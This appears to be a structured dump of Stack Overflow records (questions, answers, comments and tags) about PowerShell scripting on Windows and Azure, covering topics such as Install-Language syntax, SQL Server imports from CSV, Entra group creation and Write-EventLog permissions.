type: Comment

http://stackoverflow.com/comment/139457381
type: QuestionComment
type: Comment
has text: You just need the correct type literal syntax for nested types: `$result = [AdditionLibrary.AdditionOperation]::Add([AdditionLibrary.AdditionOperation+AddNumbers]@{ a = 1; b = 2 })`
score: 0
comment on: http://stackoverflow.com/q/79089859

bitlocker
type: Tag
tags question: http://stackoverflow.com/q/79100351
tag name: bitlocker

http://stackoverflow.com/a/79102652
has body: That's because a *.bat file is executed in the current shell's environment which is kind of weird. You can easily test this by saving this to a *.bat file, for example testenv.bat @set var=inside @echo %var% then run it like this to observe that the script modifies the outer environment echo %var% testenv.bat echo %var% The last command prints out inside which is unexpected to most people The proper behavior in most other shells including PowerShell is to run scripts inside a subshell, unless an explicit source/. command is used. The equivalent in PowerShell is also the dot sourcing operator, so if you run a *.ps1 script then run like this . path\to\your\script.ps1 But you're running a *.bat script inside PowerShell so obviously you can't do that because it's meant for an entirely different shell. In short: you can't do that. A subshell can never change the parent's environment, that's why cd is always a builtin command in all shells
downvote count: 0
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79102588

http://stackoverflow.com/q/79112307
answer count: 1
type: AnsweredQuestion
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79115529
has comment: http://stackoverflow.com/comment/139498831
upvote count: 3
has body: I'm trying to programmatically deploy "Basic Typing" for a range of languages via PowerShell to a fleet of Windows PCs. Although I am a coder, I don't have much experience in PowerShell itself. Looking at these articles: https://woshub.com/install-language-pack-windows-powershell/ https://learn.microsoft.com/en-us/powershell/module/languagepackmanagement/install-language?view=windowsserver2022-ps I gather that I want to run something like this: Install-Language -Language da-DK -ExcludeFeatures OCR, TextToSpeech, Handwriting However, the above gives me an error: A positional parameter cannot be found that accepts the argument 'OCR' I assume that I'm not using the correct syntax/formatting, or the values that I'm using are not correct. Frustratingly, the MS documentation doesn't list the acceptable values for ExcludeFeatures, nor does any of its examples show how it's used. Any help or advice would be much appreciated, thanks. I've tried running Install-Language with only OCR or TextToSpeech as an argument for -ExcludeFeatures, but that gives the same error. I've even tried to just run Install-Language en-US But I get an error "Failed to Install Language. Error Code -2147418113". This might be network access or something blocking Windows Updates, so I'll troubleshoot that separately...
has comment: http://stackoverflow.com/comment/139498505
has answer: http://stackoverflow.com/a/79115529
score: 3
favorite count: 0
linked to: http://stackoverflow.com/q/52371505
tagged with: internationalization
tagged with: windows
type: Question
has title: Powershell: Correct syntax of Install-Language?
downvote count: 0

http://stackoverflow.com/q/79162118
has body: I'm trying to extract several "agent" rows from a .CSV file and send them to SQL Server, but the .CSV file Num Contrat.csv may be the same for several agents, whereas it must be unique in SQL Server. Example: there is an agent from my file: Fields are Matricule / Name / DateDebut (starting Date) / DateFin (Ending Date) / ETP / Num Contrat The last field is the most important, because it's the most problematic. It is identical in the .CSV, but must be unique in SQL Server. Here's the logic I'd like to use in my code: And here's how I try to get this result in my script: try { # Data $matriculeContrat = $ligne.MATRICULE $numContratOriginal = $ligne.'Num Contrat' $abrTypContrat = $ligne.'Abr Typ Contrat' $idEtablissement = [string]$ligne.'Num Dossier' # Delete two characters and increment ContractNumber $baseNumContrat = $numContratOriginal.Substring(0, [Math]::Max(0, $numContratOriginal.Length - 2)) $newNumContrat = $numContratOriginal $suffix = 1 # Generate new contract number - Max 15 chars (doesn't work at all ?) while ((Invoke-Sqlcmd -Query "SELECT COUNT(1) FROM Contrats WHERE [Num Contrat] = N'$newNumContrat' AND Matricule = N'$matriculeContrat'" -ServerInstance $serverInstance -Database $database)[0].Column1 -gt 0) { $newNumContrat = $baseNumContrat + ($suffix.ToString("D2")) if ($newNumContrat.Length > 15) { $newNumContrat = $newNumContrat.Substring(0, 15) } $suffix++ } $insertContratQuery = @"INSERT INTO Contrats ([Num Contrat], Avenant, [Date début], [Date Fin], Type, [Temps Base], IDRégime, [Régime Mod], [Base contractuelle], RTT, [travail de nuit], [Règle équivalence], MultiEtablissement, [Matricule agent remplace], [Motif remplacement], [Convention collective], [Num contrat base], IDEtablissement, Matricule, [Report CPA], [Report Ancienneté], [Report CESS], Commentaire) VALUES (N'$newNumContrat', N'CONTRAT', $debutContratSql, $finContratSql, N'$abrTypContrat', $etp, N'MOD', NULL, $baseContractuelle, 0, $travailNuit, 0, 0, NULL, NULL, N'CCNT 66', N'$numCont…
type: Question
has comment: http://stackoverflow.com/comment/139589332
tagged with: sql-server
tagged with: powershell
downvote count: 0
answer count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79162274
accepted answer: http://stackoverflow.com/a/79162274
has comment: http://stackoverflow.com/comment/139589365
has comment: http://stackoverflow.com/comment/139589467
score: 1
upvote count: 1
tagged with: http://stackoverflow.com/tag/csv
has title: Import multiple rows from CSV to SQL Server and create a new ID for each one
favorite count: 0

http://stackoverflow.com/comment/139628325
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79183054
has text: `Get-CimInstance Win32_CodecFile` is probably what you're looking for

http://stackoverflow.com/comment/139733386
has text: Glad to hear it, @alx9r. Note that what Santiago implemented is a more restrictive test: it tests whether the caller and the script block are bound to the same _session state_ (scope domain), so that, for instance, the assertion fails for a script block bound to the non-module scope domain that is examined in a module function - even though they're both in the same _runspace_.
type: Comment
comment on: http://stackoverflow.com/a/79240869
score: 1
type: AnswerComment

http://stackoverflow.com/comment/139714820
type: Comment
has text: Side question, with hotfix I know it can also be done with `Win32_QuickFixEngineering` as WMI. If I want to make it as SQL, is this the right format? `SELECT * FROM Win32_QuickFixEngineering where InstalledOn >= '20241112' order by InstalledOn desc` or do I need to run select without filter and then filter the results by comparing the dates from the outputs?
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79227179

sharepointdocumentlibrary
tag name: sharepointdocumentlibrary
tags question: http://stackoverflow.com/q/79193700
type: Tag

http://stackoverflow.com/q/79091839
score: 0
answer count: 2
tagged with: command-line-interface
has comment: http://stackoverflow.com/comment/139473914
type: Question
tagged with: linked-service
has body: I am writing some code to create some Azure ressource using the PowerShell CLI. Currently, I aim at setting up a LinkedService to pull some JSON data from a REST API. When I run the code, the linked service gets created however the "Auth header" do not get set as seen in the Linked Service of the Data Factory, see image ADF screenshot. Could you please advise about how to update the Definition File so that the Auth Header persist. Any suggestions would be appreciated, thanks. The PowerShell Code is: Set-AzDataFactoryV2LinkedService ` -ResourceGroupName $resourceGroupName ` -DataFactoryName $dataFactoryName ` -Name $SourceLinkedServiceName ` -DefinitionFile $source_LS_path The JSON definition file for this function is below: { "name": "LS_Name", "type": "RestService", "properties": { "typeProperties": { "url": "url.com", "headers": { "accept": "path", "Arc-Version": "000-00-00", "authorization": "Bearer token" }, "authenticationType": "Anonymous" } } } I would expect the Auth header to show up in the Linked Service as defined in the json file.
tagged with: azure-data-factory
has comment: http://stackoverflow.com/comment/139462020
tagged with: powershell
has title: Definition File for a an AzDataFactoryV2LinkedService
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/79097542
has answer: http://stackoverflow.com/a/79102833

http://stackoverflow.com/comment/139760733
comment on: http://stackoverflow.com/a/79211175
type: AnswerComment
has text: @Dave Sure, you can just change the [calculated property](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_calculated_properties) for `PCName` in the else block to do `@{Name = 'PCName'; Expression = {"OFFLINE: $Computer"}}`. (I've already done that now in the code above). Or, if you would like that better, we can add another property called `Status`, where in case of online we put `ONLINE` and in the else block we put `OFFLINE`. Let me know ;)
type: Comment
score: 0

http://stackoverflow.com/comment/139597106
comment on: http://stackoverflow.com/q/79165708
type: QuestionComment
type: Comment
score: 0
has text: Please [format your post properly](https://stackoverflow.com/help/formatting).

http://stackoverflow.com/q/79239902
accepted answer: http://stackoverflow.com/a/79242407
type: Question
answer count: 1
has body: Background I want to write error messages to the Windows Event Log in a PowerShell script with Write-EventLog. I don't have administrator privilege in the runtime environment, so I can't run New-EventLog for the script to create a customized LogName. When you specify -LogName or -Source that are not available from the script, you will get an exception like this: PS C:\> try { Write-EventLog -LogName "Application" -Source 'NewApplication' -EventId "400" -Message "TEST MESSAGE" } catch { $_ | Format-List * -Force | Out-String } PSMessageDetails : Exception : System.Security.SecurityException: The source was not found, but some or all event logs could not be searched. Inaccessible logs: Security. at System.Diagnostics.EventLog.FindSourceRegistration(String source, String machineName, Boolean readOnly, Boolean wantToCreate) at System.Diagnostics.EventLog.SourceExists(String source, String machineName, Boolean wantToCreate) at Microsoft.PowerShell.Commands.WriteEventLogCommand.BeginProcessing() at System.Management.Automation.Cmdlet.DoBeginProcessing() at System.Management.Automation.CommandProcessorBase.DoBegin() The Zone of the assembly that failed was: MyComputer TargetObject : CategoryInfo : NotSpecified: (:) [Write-EventLog], SecurityException FullyQualifiedErrorId : System.Security.SecurityException,Microsoft.PowerShell.Commands.WriteEventLogCommand ErrorDetails : InvocationInfo : System.Management.Automation.InvocationInfo ScriptStackTrace : at <ScriptBlock>, <No file>: line 1 PipelineIterationInfo : {} Problem So I want to get lists of available -LogName and -Source for the script. You can get a list of events with Get-EventLog -List or Get-EventLog -LogName <LogName>, but it contains -LogName and -Source that are unavailable for my script. It also contains only the events that are already logged to Event Log (it is not an exhaustive list of available -LogName and -Source). Question Is there any way to get the exhaustive list of available -LogName and -Source for…
downvote count: 0
tagged with: powershell
type: AnsweredQuestion
tagged with: event-log
has title: Get a list of available `-LogName` and `-Source` for `Write-EventLog` without the administrator privilege
score: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79242407
has comment: http://stackoverflow.com/comment/139730859
upvote count: 1

http://stackoverflow.com/q/79153057
answer count: 2
type: Question
possible better answer: http://stackoverflow.com/a/79153151
score: 2
has body: What's wrong on me if I'm taking Microsoft's sample and it doesn't work? The sample command and the expected result: @( @{ name = 'a' ; weight = 7 } @{ name = 'b' ; weight = 1 } @{ name = 'c' ; weight = 3 } @{ name = 'd' ; weight = 7 } ) | Group-Object -Property weight -NoElement Count Name ----- ---- 1 1 1 3 2 7 The latest Windows 10 Enterprise 22H2.
type: AnsweredQuestion
has title: What is the problem with Group-Object sample?
tagged with: grouping
upvote count: 2
downvote count: 0
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79153071
has answer: http://stackoverflow.com/a/79153071
favorite count: 0
has answer: http://stackoverflow.com/a/79153151

http://stackoverflow.com/comment/139689176
type: AnswerComment
comment on: http://stackoverflow.com/a/79216844
type: Comment
has text: @Nash Glad it helped! The difference is just that you're leveraging a dictionary type vs linear comparison. Read here: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_hash_tables?view=powershell-7.4
score: 0

pester-5
tag name: pester-5
type: Tag
tags question: http://stackoverflow.com/q/79072962
tags question: http://stackoverflow.com/q/79412056
tags question: http://stackoverflow.com/q/79326343

http://stackoverflow.com/q/79112483
answer count: 2
favorite count: 0
has title: How to find and count the number of icons associated with an exe file using powershell?
accepted answer: http://stackoverflow.com/a/79115035
type: Question
tagged with: pinvoke
has answer: http://stackoverflow.com/a/79115035
linked to: http://stackoverflow.com/q/75525556
downvote count: 0
tagged with: powershell
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79112558
tagged with: c#
linked to: http://stackoverflow.com/q/8435
possible better answer: http://stackoverflow.com/a/79112558
score: 1
upvote count: 1
has body: I would like to get the number of embedded (or associated) icons for an EXE or DLL file. In a different question, there were some code provided to extract all the icon files, but there was no information showing how to actually use the iconIndex with -1 that should give the total number of icon objects. From the ExtractIconExW documentation: UINT ExtractIconExW( [in] LPCWSTR lpszFile, [in] int nIconIndex, [out] HICON *phiconLarge, [out] HICON *phiconSmall, UINT nIcons ); with the following explanation for nIconIndex: If this value is –1 and phiconLarge and phiconSmall are both NULL, the function returns the total number of icons in the specified file. If the file is an executable file or DLL, the return value is the number of RT_GROUP_ICON resources. If the file is an .ico file, the return value is 1. So I tried to do exactly this with the following: function get-icon-count { Param ( [parameter(Mandatory = $true)] [string] $SourceFile = 'C:/Windows/system32/shell32.dll', [parameter(Mandatory = $False)] [Int32] $IconIndex = 0 # -1: To count icons, ) $code = @' using System; using System.Drawing; using System.Runtime.InteropServices; using System.ComponentModel; using System.IO; using System.Management.Automation; namespace System { public class FileIconInfo { [DllImport("Shell32.dll", EntryPoint = "ExtractIconExW", CharSet = CharSet.Unicode, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)] public static extern int ExtractIconExW( string szFileName, int nIconIndex, out IntPtr phiconLarge, out IntPtr phiconSmall, uint nIcons); } } '@ #@' Add-Type -AssemblyName System.Drawing $refAssemblies = @([Drawing.Icon].Assembly.Location) # C:\Program Files\PowerShell\7\System.Drawing.Common.dll try { Add-Type -TypeDefinition $code -PassThru -ReferencedAssemblies $refAssemblies #| Import-Module -Assembly { $_.Assembly } $img = [System.FileIconInfo]::ExtractIconExW($SourceFile, -1, $null, $null, 1) } Catch { Write-Host -f Red "[ERROR] Failed in ExtractIconExW()…

http://stackoverflow.com/a/79100935
type: Answer
score: 1
has comment: http://stackoverflow.com/comment/139480103
upvote count: 1
answers question: http://stackoverflow.com/q/79099681
downvote count: 0
type: AcceptedAnswer
has body: To add user to PIM for privileged security group via Microsoft Graph PowerShell, you can make use of below sample script: Connect-MgGraph -Scopes 'PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup' Import-Module Microsoft.Graph.Identity.Governance $currentUtcStartTime = (Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ss.fffZ") $expirationDateTime = (Get-Date).AddHours(2).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ss.fffZ") $params = @{ accessId = "member" # Set to 'member' for regular membership; use 'owner' for admin privileges principalId = "userId" # User's Object ID groupId = "groupId" # Replace with the Security Group's Object ID action = "AdminAssign" scheduleInfo = @{ startDateTime = [System.DateTime]::Parse($currentUtcStartTime) # Set to current UTC date and time expiration = @{ type = "AfterDateTime" # Specify the expiration type endDateTime = [System.DateTime]::Parse($expirationDateTime) # Set expiration to 2 hours from now } } justification = "Assign eligible request." # Provide a justification for the assignment } New-MgIdentityGovernancePrivilegedAccessGroupEligibilityScheduleRequest -BodyParameter $params Response: To confirm that, I checked the same in Portal where user is assigned to member role for PIM security group: Reference: Create eligibilityScheduleRequest - Microsoft Graph v1.0
has comment: http://stackoverflow.com/comment/139480141
accepted answer of: http://stackoverflow.com/q/79099681

http://stackoverflow.com/comment/139687599
type: AnswerComment
has text: I wonder if reading the policy rules instead could be a stronger way to determine this rather than a string match? For example, I see some policies have the `policyRule` called `"field": "Microsoft.Storage/storageAccounts/encryption.keySource",` or `"field": "Microsoft.Storage/storageAccounts/encryption.state",`., which seem to strongly imply the use of customer managed keys.
type: Comment
comment on: http://stackoverflow.com/a/79213598
score: 0

http://stackoverflow.com/comment/139544040
has text: Can you be a little more specific than "facing issue"? What issue are you facing? How does it manifest?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79137119
score: 0

dictionary
type: Tag
tags question: http://stackoverflow.com/q/79149903
tag name: dictionary

http://stackoverflow.com/comment/139661484
comment on: http://stackoverflow.com/q/79201535
score: 2
has text: The executable for PowerShell Core 7.4.5 is `pwsh.exe`. Using `powershell` will invoke Windows PowerShell; probably 5.1.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139706443
type: QuestionComment
type: Comment
score: 0
has text: @Jahnavi - I don't understand why Azure PowerShell attempts to use the GitHub Actions OIDC token, when I already signed in using `azure/login@v2`. If I sign-in using `az login` locally, then I get use that session to get tokens, like `az account get-access-token ...`
comment on: http://stackoverflow.com/q/79223169

http://stackoverflow.com/q/79091974
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/79092006
type: Question
tagged with: azure-entra-id
answer count: 1
has title: Creating Azure Entra groups that allows assignable roles
has body: I have got some questions surrounding the creation of groups in Azure entra, I have the snippet of code below to create a group. New-AzADGroup -DisplayName $groupfullname -SecurityEnabled $true -MailNickName $groupfullname The problem with the snippet above is 2 fold. If I try to set the IsAssignable flag to true, it fails with an error A positional parameter cannot be found that accepts argument 'True'.. New-AzADGroup -DisplayName $groupfullname -SecurityEnabled $true -MailNickName $groupfullname -IsAssignableToRole $true The current workaround that I have in place is this. New-MgGroup -DisplayName $groupfullname -MailNickName $groupfullname -MailEnabled:$false -SecurityEnabled -IsAssignableToRole:$true I would like to understand why New-AzADGroup fails or what I am doing incorrectly.
tagged with: powershell
tagged with: azure-active-directory
score: 0

http://stackoverflow.com/comment/139504858
score: 0
comment on: http://stackoverflow.com/q/79115793
has text: Regex is the way to go to ensure you're only replacing the front of the document name.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79237114
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79119175
type: Answer
accepted answer of: http://stackoverflow.com/q/79119175
has body: The answer to this question is to use a web testing framework such as Selenium. Selenium is supported by all major suppliers of web browsers and they release a Selenium version (webdriver) along with their regular releases of Chrome, MS Edge, Firefox etc. Selenium is then accessed through libraries written in .Net, Python, Java etc. PowerShell actually do have a Selenium module that wraps .Net Selenium (the project is looking for new maintainers). To get this to work, you have to replace the webdriver provided with the module with the version that fits your current web browser of choice. All the selenium commands uses the Se-prefix. The commands I've explored so far are: Start-SeDriver - Starts a web browser controlled by Selenium Set-SeUrl - Navigates to the URL requested Switch-SeFrame - Changes focus to specified iFrame Get-SeElement -By Id - Fetches an element based on Id Get-SeElement -By XPath - Filters out any elements based on the XPath specified Stop-SeDriver - Stops the web browser To get all elements available in the web page use $elements = Get-SeElement -By XPath "//*" To get the Id of a specific element use $elements[23].GetAttribute('id') To help you out with finding out what elements is of interest in the web page, I highly recommend using a web browser extension such as Selenium IDE (abandoned project) or Katalon Recorder. So a working example of checking if the OOS is loading could be. $SiteCollectionUrl = 'https://my.site' $DocLibraryName = 'Shared documents' $FolderPath = '.' $DocumentName = 'Document.docx' $RestApiUrl = "$SiteCollectionUrl/_api/web/GetFolderByServerRelativeUrl" + "('$DocLibraryName/$FolderPath')/Files" $ShpFolderResponse = Invoke-RestMethod ` -Uri $RestApiUrl ` -UseDefaultCredentials ` -Method Get ` -Headers @{ "Accept" = "application/json;odata=verbose" } $Files = $ShpFolderResponse.d.results $Doc = $Files | where Name -eq $DocumentName $driver = Start-SeDriver ` -Browser Edge ` -StartUrl $SiteCollectionUrl ` -Size 1080x800 ` -…
score: 0

concatenation
tag name: concatenation
tags question: http://stackoverflow.com/q/79174170
type: Tag

http://stackoverflow.com/comment/139717890
score: 1
has text: @PanagiotisKanavos I need TCP protocol because of communication between Client & Server machine. I want to automate installation process of my win-form based Application. I am already using similar powershell script what you have suggested in your second link(Enable the TCP protocol) and I don’t have any problem with output of powershell script, it has enabled TCP protocol successfully when I am running it manually with elevated access. But when same script is triggered by C# code (elevated access) then it is returning wmi.ServerInstances.count = 0.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79229639

http://stackoverflow.com/q/79171856
type: Question
answer count: 3
has body: I'm writing a function that launches applications via Get-Command $CommandName -CommandType Application. Reading the documentation here says that the accepted extensions for -CommandType Application are .txt, .exe, and .dll files. But this isn't true. I've launched .cmd, .bat, .ps1, and other file extensions using -CommandType Application I need to know the full range of valid executable extensions for Get-Command -CommandType Application.
possible better answer: http://stackoverflow.com/a/79175984
tagged with: powershell
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79175984
has comment: http://stackoverflow.com/comment/139607988
upvote count: 2
has title: What are all the valid extensions for Get-Command -CommandType Application in Powershell 7?
downvote count: 1
accepted answer: http://stackoverflow.com/a/79172045
has answer: http://stackoverflow.com/a/79171899
has answer: http://stackoverflow.com/a/79172045
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139615059

http://stackoverflow.com/a/79115864
type: Answer
has comment: http://stackoverflow.com/comment/139508914
upvote count: 1
score: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79115793
has comment: http://stackoverflow.com/comment/139508909
accepted answer of: http://stackoverflow.com/q/79115793
has body: A way to do it is using a regex OR pattern where you have all the oldname and then you use replacement with a match evaluator or replacement with a scriptblock (same thing just that the latter only works in newer versions of PowerShell) where you can get the newname from a give match (.Value). A little example of how the logic goes: # this is a dictionary where you have `oldname` and `newname` $map = @{ A12345 = 'A98765' A00645 = 'A39502' } # the OR pattern $replacePattern = [regex]::new( 'A12345|A00645', [System.Text.RegularExpressions.RegexOptions] 'Compiled, IgnoreCase') # the replacement logic 'A12345 Termination Letter.pdf', 'A00645 Correspondence.pdf' | ForEach-Object { $replacePattern.Replace($_, { $map[$args[0].Value] }) } # Outputs: # A98765 Termination Letter.pdf # A39502 Correspondence.pdf In the actual code, the $map is constructed dynamically but the rest of the code is similar, however there should be a check for if the regex pattern matches the file name otherwise you would be trying to rename a file with the same name and that fails in older versions: # this dynamically creates dictionary with `oldname` and `newname` $map = @{} Import-Csv 'the\path\toMyRenamingFiles.csv' | ForEach-Object { $map[$_.oldname] = $_.newname } # this creates an OR pattern like 'A12345|A00645|...|...|etc' $replacePattern = [regex]::new( $map.Keys.ForEach({ [regex]::Escape($_) }) -join '|', [System.Text.RegularExpressions.RegexOptions] 'Compiled, IgnoreCase') $path = 'C:\path' $filter = '*.pdf' Get-ChildItem -Path $path -Filter $filter | Where-Object { $replacePattern.IsMatch($_.Name) } | Rename-Item -NewName { $replacePattern.Replace($_.Name, { $map[$args[0].Value] }) }
downvote count: 0

http://stackoverflow.com/comment/139589467
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79162118
has text: Looks like you are generating duplicate contract numbers since you are using `SubString`. After few iterations it will start generating duplicates. You should not truncate.

http://stackoverflow.com/comment/139574192
score: 0
has text: What roles did you assign for Microsoft Entra ID application?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79153871

http://stackoverflow.com/q/79138711
has body: The command below matches all shares (C$ , Admin$ , test55). I need to omit any shares that end with $. Please help. net view \\computername /all 2&gt;&amp;1 | select-object -Skip 1 | ?{$_ -match 'disk*'} | %{$_ -match '^(.+?)\s+Disk[^$]+$';$matches[1]}
score: 0
answer count: 2
downvote count: 2
favorite count: 0
has comment: http://stackoverflow.com/comment/139548735
has title: Regex in powershell command
tagged with: regex
has answer: http://stackoverflow.com/a/79138834
linked to: http://stackoverflow.com/q/54495023
type: Question
upvote count: 2
tagged with: powershell
possible better answer: http://stackoverflow.com/a/79138834
has comment: http://stackoverflow.com/comment/139546555
has comment: http://stackoverflow.com/comment/139547023
has answer: http://stackoverflow.com/a/79139200
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139546516
accepted answer: http://stackoverflow.com/a/79139200

http://stackoverflow.com/q/79118064
score: 0
tagged with: mysql
type: UnansweredQuestion
tagged with: class
type: Question
answer count: 0
tagged with: .net
has body: Background We collect data from AzureAD/AD to store in a MySQL database. This is used for reporting purposes. I have created a Powershell module for working with this MySQL database. I have attempted to make this with prepared statements and parameterized to avoid SQL injection. I want to re-use the command, otherwise I need to prepare the query with every INSERT/UPDATE, which maxes out the memory on our MySQL server (since the script might be doing 30.000 INSERT/UPDATE operations in a row). The issue only occurs on UPDATE operations, INSERTs work fine. Use-case A Powershell script collects the data from Azure AD, makes a [PSCustomObject] where the property name is the column name for the table in the database, then iterates over each item (e.g. a User) and either INSERTs a new row if it doesn't exist in the database or UPDATEs the user row. The issue For UPDATE operations, the first item (user) in the collection is updated correctly, but following UPDATE operations seems successful (return value 1) but no update is performed on the row. What I've tried so far / Where am I currently in the debugging? I believe the issue seems to stem from the $this.Command.Parameters.Clear(), but I'm unsure why clearing the parameters causes it to not work after the first run. I can easily get it to work by preparing the statement before each ExecuteNonQuery(), but that defeats the purpose I am attempting. I feel like I am missing some key understanding of how the ExecuteNonQuery() and Prepare() is working, which is what's causing it report, incorrectly, that it modified a row. How can it return 1 if no rows were modified? Mostly, I've really scoured the internet for the last 4 days, and found little help. When I Prepare() for a selected set of parameters, then change those parameters to identical ones, but with different values, should that cause it to fail? Powershell script code The PS code looks like this, although minimized for clarity - I use multiple connections to avoid prep…
tagged with: powershell
has title: ExecuteNonQuery() for a prepared UPDATE query returns 1, but doesn't modify any rows except the first row
has comment: http://stackoverflow.com/comment/139509118
has comment: http://stackoverflow.com/comment/139509198

http://stackoverflow.com/a/79199620
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/79198594
downvote count: 0
has body: Enclose the title in single quotes rather than double. Eg : start powershell { $host.ui.RawUI.WindowTitle = 'application 1' cd application1\backend npm install npm run build npm run start Read-Host }
type: Answer

http://stackoverflow.com/a/79202486
has body: By using Write-Output the result of Is-SMBInstalled is always a mixed-content array because Write-Output push its contents to the Success Stream(aka stdOut) the same as Return. And thus is always true when compared left-side. Replace the Write-Output with Write-Host, which does not write on the Success Stream. And since you are already there: The Wim cmdlets has been obsolete since Powershell 3, and have been removed from powershell 6+: replace Get-WimObject with Get-CimInstance. Doing so will make it forward-compatible. I suggest using Approved Verbs. have a example # Function to determine if the OS is Windows Server function Test-IsWindowsServer { # Left-side Filtering for the win. # It returns $False if it finds nothing, and $True if it finds anything. # NOTE WELL: I don't have Windows Server available to test now, so check if # the filter is working correctly. [bool](Get-CimInstance -ClassName Win32_OperatingSystem -Filter 'Caption Like "%server%"') } # Function to check if SMB/Network Sharing is installed function Test-IsSMBInstalled { if (Test-IsWindowsServer) { Write-Host 'Detected Windows Server. This should print.' $smbFeature = Get-WindowsFeature -Name FS-SMB1 -ErrorAction SilentlyContinue # no reason for a IF, this will return either $true or $False directly. return ($smbFeature.Installed) } # Strictly speaking you don't need the Else because it's not reaching here # if Test-IsWindowsServer is $true, evaluate yourself if it's clearer with # or without. else { Write-Host 'Detected Windows 10/11 client. This should print.' $smbFeature = Get-WindowsOptionalFeature -Online -FeatureName 'SMB1Protocol' -ErrorAction SilentlyContinue # no reason for a IF, this will return either $true or $False directly. # Evaluate using "-like" instead of "-eq". return ($smbFeature.State -eq 'Enabled') } # A Write-Warning is the perfect fit for this. Write-Warning 'This should be unreachable.' } # This will print the 'Detected' version line and then the boolean output. Test-IsSM…
downvote count: 0
answers question: http://stackoverflow.com/q/79202450
accepted answer of: http://stackoverflow.com/q/79202450
type: AcceptedAnswer
upvote count: 4
type: Answer
score: 4

http://stackoverflow.com/comment/139701180
score: 1
has text: AD filters are trial and error...
comment on: http://stackoverflow.com/q/79223805
type: QuestionComment
type: Comment

elevated-privileges
tags question: http://stackoverflow.com/q/79131331
type: Tag
tag name: elevated-privileges
tags question: http://stackoverflow.com/q/79351553

http://stackoverflow.com/comment/139477478
type: Comment
score: 0
has text: Where those files are living? In same directory as `FilenameChanges.csv`?
comment on: http://stackoverflow.com/q/79100678
type: QuestionComment

out-gridview
tags question: http://stackoverflow.com/q/79103519
type: Tag
tag name: out-gridview
tags question: http://stackoverflow.com/q/79256764

http://stackoverflow.com/comment/139666842
comment on: http://stackoverflow.com/q/79204361
has text: What exactly do you mean by "elevated privileges to Standard user from Administrators group"? Can you detail the steps you've taken to create and configure the user account with which you're getting Access Denied?
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/79110614
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139548852
has body: Below is my complete simplistic testcase GitHub powershell windows workflow that fails for a particular repo and not for all repos. name: Testcheckout - AD on: workflow_dispatch: jobs: setvars: runs-on: group: Shared2 labels: myWINA3 outputs: runner_name: ${{ runner.name }} steps: - name: Checkout User Repo uses: actions/checkout@v4 with: ref: "${{ github.ref }}" lfs: true fetch-depth: 1 ssh-strict: false token: "${{ secrets.ARE_AUTOMATED_TOKEN }}" Output Error: Run actions/checkout@v4 with: repository: userbank/userrepo ref: refs/heads/release/RELEASE_2024_OCT_24 path: D:\A\3\_work\userrepo\userrepo\userrepo lfs: true fetch-depth: 1 ssh-strict: false token: *** ssh-user: git persist-credentials: true clean: true sparse-checkout-cone-mode: true fetch-tags: false show-progress: true submodules: false set-safe-directory: true env: repodirexists: false devtoken: *** Syncing repository: userbank/userrepo Getting Git version info Copying 'C:\Users\autobuild\.gitconfig' to 'D:\A\3\_work\_temp\7d866ea3-512c-44a6-92e5-d3bf9149ee80\.gitconfig' Temporarily overriding HOME='D:\A\3\_work\_temp\7d866ea3-512c-44a6-92e5-d3bf9149ee80' before making global git config changes Adding repository directory to the temporary git global config as a safe directory "C:\Program Files\Git\cmd\git.exe" config --global --add safe.directory D:\A\3\_work\userrepo\userrepo\userrepo "C:\Program Files\Git\cmd\git.exe" config --local --get remote.origin.url https://github.com/userbank/userbank/userrepo.git Deleting the contents of 'D:\A\3\_work\userrepo\userrepo\userrepo' Initializing the repository Disabling automatic garbage collection Setting up auth "C:\Program Files\Git\cmd\git.exe" lfs install --local Updated Git hooks. Git LFS initialized. Fetching the repository "C:\Program Files\Git\cmd\git.exe" -c protocol.version=2 fetch --no-tags --prune --no-recurse-submodules --depth=1 origin +refs/heads/release/RELEASE_2024_OCT_24:refs/remotes/origin/release/RELEASE_2024_OCT_24 From https://github.com//…
tagged with: checkout
has comment: http://stackoverflow.com/comment/139547932
tagged with: git
type: Question
has comment: http://stackoverflow.com/comment/139520775
has title: github powershell checkout action fails intermitently with Authorization error: ***github.com//userbank/userrepo.git/info/lfs/objects/batch
answer count: 0
has comment: http://stackoverflow.com/comment/139644619
has comment: http://stackoverflow.com/comment/139521477
has comment: http://stackoverflow.com/comment/139644272
has comment: http://stackoverflow.com/comment/139534413
tagged with: authorization
has comment: http://stackoverflow.com/comment/139547931
tagged with: powershell
has comment: http://stackoverflow.com/comment/139507192
tagged with: github-actions

http://stackoverflow.com/comment/139709933
has text: I'd assume that the space is not treated as a placeholder for some culture-appropriate date component. So using the examples I've provided above do solve the reported problem with the submitted code, _(because the separator in the `-Format` string for the `Get-Date` PowerShell command, was never required at all by the OP)_.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79227225
score: 0

